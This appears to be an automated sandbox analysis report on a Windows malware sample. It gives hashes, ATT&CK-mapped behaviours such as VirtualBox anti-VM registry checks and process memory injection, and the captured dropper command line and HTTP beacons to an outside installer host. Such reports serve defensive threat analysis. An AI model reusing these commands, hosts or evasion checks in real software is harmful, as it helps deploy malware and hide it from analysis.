13a9087e79cc756bbc9d68e5a6071ce5a7d3012e00e27153d22d2649f8e885d5

General

Target

eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
Size

524KB
MD5

eba5081b5ebf59b8d1424dc02c3c9747
SHA1

445698520fae19630a964a21aa8788cfe1dda3e3
SHA256

13a9087e79cc756bbc9d68e5a6071ce5a7d3012e00e27153d22d2649f8e885d5
SHA512

4d65e662e43d2451384807dbf528db176b9f0f2edaa6c2ffe1284aad26a2cbc2e9a69f82054e29203c1db38a16ae2d842388af164a24c5fab0d8d592eb28f7ad
SSDEEP

12288:AJuKBAjsT2ws4GrRu2QRqxqlOy8AF05yHk67zR960LF:AJuXsTuRRu2wqNGIyHr96i

Score

9^/10

discovery evasion

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2004	s3828.exe

Loads dropped DLL 4 IoCs

pid	Process
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
2004	s3828.exe
2004	s3828.exe
2004	s3828.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	s3828.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2004	s3828.exe
2004	s3828.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2004	2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2004	2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2004	2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe	30
PID 2956 wrote to memory of 2004	2956	eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe	30

C:\Users\Admin\AppData\Local\Temp\eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Users\Admin\AppData\Local\Temp\n3828\s3828.exe
  "C:\Users\Admin\AppData\Local\Temp\n3828\s3828.exe" ins.exe /h 46aff3.api.socdn.com /u e79b5525-92fa-11e3-8a58-80c16e6f498c /e 12487288 /v "C:\Users\Admin\AppData\Local\Temp\eba5081b5ebf59b8d1424dc02c3c9747_JaffaCakes118.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2004

Network

DNS

46aff3.api.socdn.com

s3828.exe

Remote address:

8.8.8.8:53

Request

46aff3.api.socdn.com

IN A

Response

46aff3.api.socdn.com

IN CNAME

615321.parkingcrew.net

615321.parkingcrew.net

IN A

76.223.26.96

615321.parkingcrew.net

IN A

13.248.148.254
GET

http://46aff3.api.socdn.com/installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/config

s3828.exe

Remote address:

76.223.26.96:80

Request

GET /installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/config HTTP/1.1
User-Agent: DownloadMR/3.1.24 (MSIE 9.11;Windows NT 6.1.7601 SP1;WOW64;.NET CLR 2.0.50727 SP2; .NET CLR 3.0 SP2; .NET CLR 3.5 SP1; .NET CLR 4; .NET CLR 4.0;DB IE11;m=X9SRE/X9SRE-3F/X9SRi/X9SRi-3F;u=Admin;northstar;4da9032b-eb08-7218-c1c2-0fbe31ffb0c7)
Accept-Language: en-US
Host: 46aff3.api.socdn.com
Connection: Keep-Alive

Response

HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=UTF-8
Date: Thu, 19 Sep 2024 15:37:04 GMT
Server: Caddy
Server: nginx
Transfer-Encoding: chunked
POST

http://46aff3.api.socdn.com/installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/event

s3828.exe

Remote address:

76.223.26.96:80

Request

POST /installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/event HTTP/1.1
User-Agent: DownloadMR/3.1.24 (MSIE 9.11;Windows NT 6.1.7601 SP1;WOW64;.NET CLR 2.0.50727 SP2; .NET CLR 3.0 SP2; .NET CLR 3.5 SP1; .NET CLR 4; .NET CLR 4.0;DB IE11;m=X9SRE/X9SRE-3F/X9SRi/X9SRi-3F;u=Admin;northstar;4da9032b-eb08-7218-c1c2-0fbe31ffb0c7)
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Host: 46aff3.api.socdn.com
Content-Length: 1300
Expect: 100-continue

Response

HTTP/1.1 100 Continue

Server: Caddy
DNS

s3828.exe

Remote address:

76.223.26.96:80

Response

HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=UTF-8
Date: Thu, 19 Sep 2024 15:37:05 GMT
Server: Caddy
Server: nginx
Transfer-Encoding: chunked

76.223.26.96:80

http://46aff3.api.socdn.com/installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/event

http

s3828.exe

2.5kB
793 B
8
9

HTTP Request

GET http://46aff3.api.socdn.com/installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/config

HTTP Response

500

HTTP Request

POST http://46aff3.api.socdn.com/installer/e79b5525-92fa-11e3-8a58-80c16e6f498c/12487288/event

HTTP Response

100

HTTP Response

500

8.8.8.8:53

46aff3.api.socdn.com

dns

s3828.exe

66 B
134 B
1
1

DNS Request

46aff3.api.socdn.com

DNS Response

76.223.26.96

13.248.148.254

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\n3828\s3828.exe

Filesize
339KB

MD5
7bfe6bbe12a10323b0aa5c1bad6ecd5b

SHA1
7ce4508ddfa0200a95cdbfbe66c4c6b5a8b87122

SHA256
f15a491ef671ebddcc3710a4817244c18fe1a5dd444c83137c2fbd601d1c7214

SHA512
bf0438520ade14a53c7d8a76b7f7e3d8eec9060003954e0da1ee17ed5db024c44a28bae23ebfaa006fd50da400faf9fc77a4dcb1071d0501d753b47a6146d5d7

Download Submit
memory/2004-17-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

Filesize
4KB

Download
memory/2004-18-0x0000000000450000-0x000000000045E000-memory.dmp

Filesize
56KB

Download
memory/2004-19-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2004-20-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2004-21-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2004-22-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2004-23-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.